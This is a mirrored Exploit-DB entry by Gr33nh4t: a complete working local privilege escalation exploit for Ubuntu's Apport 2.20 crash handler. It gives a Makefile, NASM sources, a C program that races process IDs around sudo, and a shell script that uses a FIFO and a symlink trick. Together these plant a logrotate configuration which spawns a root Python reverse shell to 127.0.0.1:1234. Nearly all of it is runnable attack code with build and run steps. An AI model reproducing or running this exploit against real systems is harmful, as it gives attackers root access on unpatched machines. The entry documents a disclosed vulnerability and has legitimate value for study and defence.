Apport 2.20 – Local Privilege Escalation

  • 作者: Gr33nh4t
    日期: 2021-02-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49572/
  • # Exploit Title: Apport 2.20 - Local Privilege Escalation
    # Date: 18/02/21
    # Exploit Author: Gr33nh4t
    # Vendor Homepage: https://ubuntu.com/
    # Version:
    
    Apport: Ubuntu 20.10 - Before 2.20.11-0ubuntu50.5
    Apport: Ubuntu 20.04 - Before 2.20.11-0ubuntu27.16
    Apport: Ubuntu 18.04 - Before 2.20.9-0ubuntu7.23
    Apport: Ubuntu 16.04 - Before 2.20.1-0ubuntu2.30
    
    # Tested on: Ubuntu 
    
    This is a POC for Apport exploit, we exploited these bugs by launching a reverse shell to 127.0.0.1:1234.
    
    # Setup
    
    To compile the exploit code several packages are needed:
    sudo apt-get install build-essential nasm gcc
    
    # Compilation
    
    make
    
    # Run
    
    ./exploit.sh
    
    The reverse shell will connect on the next execution of logrotate
    
    nc -l -p 1234
    
    ## Makefile ##
    
    .PHONY: all clean
    
    CC=gcc
    CFLAGS=
    
    NASM=nasm
    NASM_FLAGS=-f elf64
    
    LD=ld
    
    
    all: exploit crash decoy
    
    exploit: exploit.c
    	$(CC) -o $@ $< $(CFLAGS)
    	chmod +x $@
    
    crash: crash.o
    	$(LD) $^ -o $@
    
    decoy: decoy.o
    	$(LD) $^ -o $@
    
    crash.o: crash.asm
    	$(NASM) $(NASM_FLAGS) $^ 
    
    decoy.o: decoy.asm
    	$(NASM) $(NASM_FLAGS) $^ 
    
    
    clean:
    	rm exploit decoy crash *.o
    
    ## crash.asm ##
    
    section .data
    	message db 10,"/var/crash/test.log{",10,"su root root",10,"daily",10,"size=0",10,"firstaction",10,"python3 -c ", 34, "import sys,socket,os,pty; s=socket.socket();s.connect(('127.0.0.1', 1234));[os.dup2(s.fileno(), fd) for fd in (0,1,2)];pty.spawn('/bin/sh')", 34, ";",10,"endscript",10,"}",10, 00
    	timeval:
    	tv_sec	dd 0
    	tv_usec dd 0
    
    
    section .text
    	global _start
    _start:
    	mov dword [tv_sec], 4000000
    	mov dword [tv_usec], 0
    	mov rax, 35
    	mov rdi, timeval
    	mov rsi, 0
    	syscall
    
    ## decoy.asm ##
    
    section .text
    	global _start
    _start:
    	mov dword [0], 0
    
    ## exploit.c ## 
    
    #include <unistd.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <signal.h>
    
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    
    #define PID_THRESHOLD (80)
    
    int read_max_pid_file()
    {
    	FILE *fd = 0;
    	char buf[256];
    
    	fd = fopen("/proc/sys/kernel/pid_max", "r");
    	fread(buf, sizeof(buf), 1, fd);
    	fclose(fd);
    	return atoi(buf);
    }
    
    void write_to_fifo_file(char * path)
    {
    	FILE *fd = 0;
    	char buf[] = "A";
    
    	fd = fopen(path, "w");
    	fwrite(buf, sizeof(buf), 1, fd);
    	fclose(fd);
    	return;
    }
    
    
    int main(int argc, char *argv[])
    {
    	int iteration = 0;
    	pid_t crash_pid = -1, temp_pid = -1, spray_pid = -1;
    	int current_pid = 0, max_pid = 0;
    	int total_pid = 0;
    
    	char *crash_argv[] = {"crash", NULL};
    	char *sudo_argv[] = {"sudo", "-S", "sud", NULL};
    
    	char current_dir[1024] = {0};
    	char exec_buf[2048] = {0};
    	char crash_buf[2048] = {0};
    
    	struct stat sb = {0} ;
    
    	int null_fd = -1;
    
    	signal(SIGCHLD, SIG_IGN);
    	getcwd(current_dir, sizeof(current_dir));
    	snprintf(exec_buf, sizeof(exec_buf), "%s/%s", current_dir, "a\rUid: 0\rGid: 0");
    	snprintf(crash_buf, sizeof(crash_buf), "%s/%s", current_dir, "crash");
    
    	chdir("/etc/logrotate.d/");
    
    
    
    	// Creating the crash program
    	if (0 == stat(crash_buf, &sb) && sb.st_mode & S_IXUSR)
    	{
    		crash_pid = fork();
    		if (0 == crash_pid)
    		{
    			execve(crash_buf, crash_argv, NULL);
    			exit(0);
    		}
    		else if(-1 == crash_pid)
    		{
    			printf("[-] Could not fork program\n");
    			return -1;
    		}
    	}
    	else
    	{
    		printf("[-] Please check crash file executable.");
    		return -1;
    	}
    	
    
    	max_pid = read_max_pid_file();
    	printf("[*] crash pid: %d\n", crash_pid);
    	printf("[*] max pid: %d\n", max_pid);
    
    	printf("[*] Creating ~%d PIDs\n", max_pid);
    printf("[*] Forking new processes\n");
    	sleep(3);
    
    	// Iterating through max_pid to almost reach the crash program pid
    	while (iteration < max_pid - 1)
    	{
    		// Print progress of forks
    		if( 0 == (iteration % (int)(max_pid / 5000)))
    		{
    			printf("\rIteration: %d/%d", iteration + 1, max_pid);
    			fflush(stdout);
    		}
    		temp_pid = -1;
    		temp_pid = fork();
    		if (0 == temp_pid)
    		{
    			exit(0);
    		}
    		else if (temp_pid > 0)
    		{
    			iteration++;
    			// We should stop before the crash pid to avoid other processes created meanwhile to interfere the exploit process
    			if ( temp_pid < crash_pid && crash_pid - temp_pid < PID_THRESHOLD)
    			{
    				printf("\rIteration: %d/%d\n", iteration + 1, max_pid);
    				fflush(stdout);
    				printf("[+] less then %d pid from the target: last fork=%d , target: %d\n", PID_THRESHOLD, temp_pid, crash_pid);
    				break;
    			}
    		}
    		else if (-1 == temp_pid)
    		{
    			printf("[-] Could not fork temp programs\n");
    		}
    	}
    
    	printf("[*] Crashing the crash program\n");
    	kill(crash_pid, SIGSEGV); // From Now on the seconds apport will launch and we have 30 seconds to exploit it
    	sleep(5);
    	printf("[*] Killing the crash program\n");
    	kill(crash_pid, SIGKILL);
    	sleep(3);
    
    	// Now crash pid is free and we need to occupy it
    	for(int i=0; i < PID_THRESHOLD ; i++)
    	{
    		spray_pid = fork();
    		if (0 == spray_pid)
    		{
    			if (crash_pid == getpid())
    			{
    				null_fd = open("/dev/null", O_WRONLY);
    				dup2(null_fd, 1);
    				dup2(null_fd, 2);
    				close(null_fd);
    
    				printf("[+] Creating suid process\n");
    				execve(exec_buf, sudo_argv, NULL);
    			}
    			exit(0);
    		}
    	}
    
    	sleep(3);
    	printf("[*] Writing to fifo file\n");
    	write_to_fifo_file(argv[1]);
    
    	// Now the first apport released and the second apport resumed
    	printf("[+] Wrote core file to cwd!\n");
    	sleep(10); // Waiting for the second apport to finish execution
    
    	return 0;
    }
    
    ## exploit.sh ##
    
    #!/bin/sh
    set -e
    echo "[*] Running exploit"
    touch /var/crash/test.log
    ulimit -c unlimited
    
    if [ ! -d "~/.config/apport" ]; then
    	echo "[*] Settings directory not exists"
    	echo "[*] Creating settings directory"
    	mkdir -p ~/.config/apport
    fi
    
    if [ ! -f "~/.config/apport/settings" ] ; then
    	echo "[*] Settings file not exists"
    	echo "[main]\nunpackaged=true\n" > ~/.config/apport/settings
    	echo "[+] Settings file created"
    fi
    
    DECOY_PATH=`realpath ./decoy`
    MY_UID=`id -u`
    DECOY_CRASH_NAME=`echo "${DECOY_PATH}.${MY_UID}.crash" | sed 's/\//_/g'`
    DECOY_CRASH_PATH="/var/crash/${DECOY_CRASH_NAME}"
    if [ -f$DECOY_CRASH_PATH ] || [ -p$DECOY_CRASH_PATH ] ; then
    	echo "[*] decoy crash exists deleting the file"
    	rm $DECOY_CRASH_PATH
    fi
    
    mkfifo $DECOY_CRASH_PATH
    echo "[+] FIFO file created"
    
    ./decoy 2>&1 >/dev/null &
    killall -SIGSEGV./decoy
    
    echo "[+] Decoy process created"
    
    SUDO_PATH=`which sudo`
    ln -s $SUDO_PATH "linkchange"
    python3 -c "import os; os.rename('./linkchange', 'a\rUid: 0\rGid: 0')"
    
    echo "[+] symlink to sudo created"
    
    ./exploit $DECOY_CRASH_PATH
    
    rm $DECOY_CRASH_PATH
    
    sleep 5
    if [ -f "/etc/logrotate.d/core" ] ; then
    echo "[*] Exploit succesfully finished"
    else
    	echo "[*] Exploit failed"
    fi
    
    # Kill the sudo process after second apport finished
    kill `ps -ef | grep "sudo -S sud" | grep -v grep | awk '{print $2}'`
    
    ##